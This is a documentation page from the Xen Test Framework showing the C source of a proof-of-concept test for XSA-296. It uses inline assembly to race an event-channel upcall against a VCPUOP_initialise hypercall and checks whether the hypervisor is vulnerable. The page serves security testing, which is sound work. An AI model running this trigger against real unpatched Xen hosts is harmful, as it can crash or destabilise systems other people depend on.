Xen Test Framework
main.c
Go to the documentation of this file.
1 
28 #include <xtf.h>
29 
30 const char test_title[] = "XSA-296 PoC";
31 
32 /* Helper for simplifying the 32/64bit differences. */
33 #ifdef __i386__
34 #define COND(_32, _64) _32
35 #else
36 #define COND(_32, _64) _64
37 #endif
38 
39 /* Appears in exception frames with RPL0. Needs RPL3 to use. */
40 #define __TEST_CS64 (GDTE_AVAIL0 << 3)
41 
46 };
47 
48 void do_evtchn(struct cpu_regs *regs)
49 {
50  if ( IS_DEFINED(CONFIG_64BIT) && regs->cs == __TEST_CS64 )
51  {
52  static unsigned int count;
53  extern unsigned long restart[] asm ("restart");
54 
55  if ( count++ > 5 )
56  panic("Evtchn livelock\n");
57 
58  regs->ip = _u(restart);
59  }
60 
63 }
64 
65 void test_main(void)
66 {
67  unsigned long tmp;
68  int rc;
69 
70  /* Set up a secondary %cs so we can spot SYSCALL being executed. */
71  if ( IS_DEFINED(CONFIG_64BIT) )
73  GDTE_SYM(0, 0xfffff, COMMON, CODE, DPL3, R, L));
74 
75  /*
76  * Prepare pagetables:
77  * - vcpu1_ctx.cr3 points at t2, which references t1
78  * - t2 is an L4 (64bit) or an L3 (32bit)
79  * - t1 is an L3 (64bit) or an L2xen (32bit)
80  *
81  * * L4 validation is performed with preemption, but without actually
82  * checking, so it needs to decend a level before the hypercall will
83  * hit a contination point.
84  */
85  t2[3] = pte_from_virt(t1, PF_SYM(P));
86  vcpu1_ctx.ctrlreg[3] = xen_pfn_to_cr3(virt_to_gfn(t2));
87 
89  _u(t1), pte_from_virt(t1, PF_SYM(AD, P)), UVMF_INVLPG) )
90  return xtf_error("Error trying to remap t1 as read-only\n");
92  _u(t2), pte_from_virt(t2, PF_SYM(AD, P)), UVMF_INVLPG) )
93  return xtf_error("Error trying to remap t2 as read-only\n");
94 
95  /*
96  * Opencoded version of:
97  *
98  * shared_info.vcpu_info[0].evtchn_upcall_pending = 1;
99  * shared_info.vcpu_info[0].evtchn_upcall_mask = 0;
100  * rc = hypercall_vcpu_op(VCPUOP_initialise, 1, &vcpu1_ctx);
101  *
102  * but written with only a single instruction race window between enabling
103  * events and issuing the hypercall.
104  */
105  asm volatile (
106 #ifdef __x86_64__
107  /* Set up %cs so we can spot when SYSCALL gets executed. */
108  "restart:"
109  "push $%c[cs];"
110  "push $1f;"
111  "lretq; 1:"
112 #endif
113  /*
114  * shared_info.vcpu_info[0].evtchn_upcall_pending = 1;
115  * shared_info.vcpu_info[0].evtchn_upcall_mask = 0;
116  */
117  "movb $1, %[pend];"
118  "movb $0, %[mask];"
119 
120  /* rc = hypercall_vcpu_op(VCPUOP_initialise, 1, &vcpu1_ctx); */
121  COND("int $0x82;", "syscall;")
122 
123  : [pend] "=m" (shared_info.vcpu_info[0].evtchn_upcall_pending),
124  [mask] "=m" (shared_info.vcpu_info[0].evtchn_upcall_mask),
125  "=a" (rc),
126  COND("=b", "=D") (tmp),
127  COND("=c", "=S") (tmp),
128  "=d" (tmp)
129  : "a" (__HYPERVISOR_vcpu_op),
130  COND("b", "D") (VCPUOP_initialise),
131  COND("c", "S") (1),
132  "d" (&vcpu1_ctx)
133 #ifdef __x86_64__
134  , [cs] "i" (__TEST_CS64 | 3)
135 #endif
136 
137  : "memory"
138 #ifdef __x86_64__
139  , "rcx", "r11"
140 #endif
141  );
142 
143  switch ( rc )
144  {
145  case 0:
146  return xtf_success("Success: " COND("Probably not", "Not")
147  " vulnerable to XSA-296\n");
148 
149  case -ENOENT:
150  return xtf_error("Error: Insufficient vcpus\n");
151 
152  default:
153  return xtf_error("Error: unexpected result %d\n", rc);
154  }
155 }
156 
157 /*
158  * Local variables:
159  * mode: C
160  * c-file-style: "BSD"
161  * c-basic-offset: 4
162  * tab-width: 4
163  * indent-tabs-mode: nil
164  * End:
165  */
#define __HYPERVISOR_vcpu_op
Definition: xen.h:37
#define COND(_32, _64)
Definition: main.c:36
#define L1_PT_ENTRIES
Definition: page.h:69
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
static intpte_t t1[L1_PT_ENTRIES]
Definition: main.c:42
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define __page_aligned_bss
Definition: compiler.h:37
void do_evtchn(struct cpu_regs *regs)
May be implemented by a guest to handle Event Channel upcalls.
Definition: main.c:48
intpte_t pte_from_virt(const void *va, uint64_t flags)
void panic(const char *fmt,...)
Definition: lib.c:15
#define VGCF_IN_KERNEL
Definition: xen.h:47
struct vcpu_info vcpu_info[32]
Definition: xen.h:153
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
unsigned long ctrlreg[8]
Definition: xen.h:65
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static unsigned int xen_pfn_to_cr3(unsigned int pfn)
Definition: xen-x86_32.h:67
user_desc gdt[NR_GDT_ENTRIES]
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define VCPUOP_initialise
Definition: vcpu.h:24
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
static void update_desc(user_desc *ptr, const user_desc new)
Helper to update a live LDT/GDT entry.
Definition: xtf.h:26
unsigned long intpte_t
Definition: page.h:152
#define ENOENT
Definition: errno.h:16
static intpte_t t2[L1_PT_ENTRIES]
Definition: main.c:43
const char test_title[]
The title of the test.
Definition: main.c:14
unsigned long flags
Definition: xen.h:58
#define __TEST_CS64
Definition: main.c:40
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
uint8_t evtchn_upcall_mask
Definition: xen.h:146
uint8_t evtchn_upcall_pending
Definition: xen.h:145
#define GDTE_SYM(base, limit,...)
As INIT_GDTE_SYM(), but creates a user_desc object.
static xen_vcpu_guest_context_t vcpu1_ctx
Definition: main.c:44